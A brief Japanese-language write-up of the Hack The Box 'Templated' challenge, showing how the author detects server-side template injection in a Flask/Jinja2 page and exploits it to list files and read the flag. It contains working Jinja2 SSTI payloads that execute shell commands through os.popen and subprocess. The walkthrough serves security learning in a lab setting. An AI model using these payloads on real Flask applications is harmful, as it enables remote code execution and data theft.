Hack the box Templated Writeup
Open url
以下のような、ページが表示されました。
下の行にProudly powered by Flask/Jinja2
と記述されています。
それより、 Flask/Jinja2 でページが作成されていることがわかりました。
Search about Flask/Jinja2
Jinja2 とは
templating language とは
Flask/Jinja2 のまとめ
Python > Flask > テンプレートエンジン > Jinja2
みたいな感じです
Googling on jinja2 exploit
以上から、SSTI(サーバーサイド・テンプレート・インジェクション) があることがわかりました。
まず、この脆弱性が利用可能か試してみます。
try SSTI
この脆弱性は、以下のような{{any_code}}
から確認できます。
http://206.189.121.131:32326/{{1+1}}
The page '2' could not be found
のように{{}}
内の計算結果が表示されました。
search eval code
try eval code
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} {{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
以上を試します。下を使用します。 すると、画像のように
'bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var '
と ls
が実行できたようです。
Get Flag
{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}
URL :http://206.189.121.131:32326/%7B%7Bconfig.class.init.globals['os'].popen('cat%20flag.txt').read()%7D%7D でFlagを獲得できました。
最後に
最後の塗りが雑かったと思いました。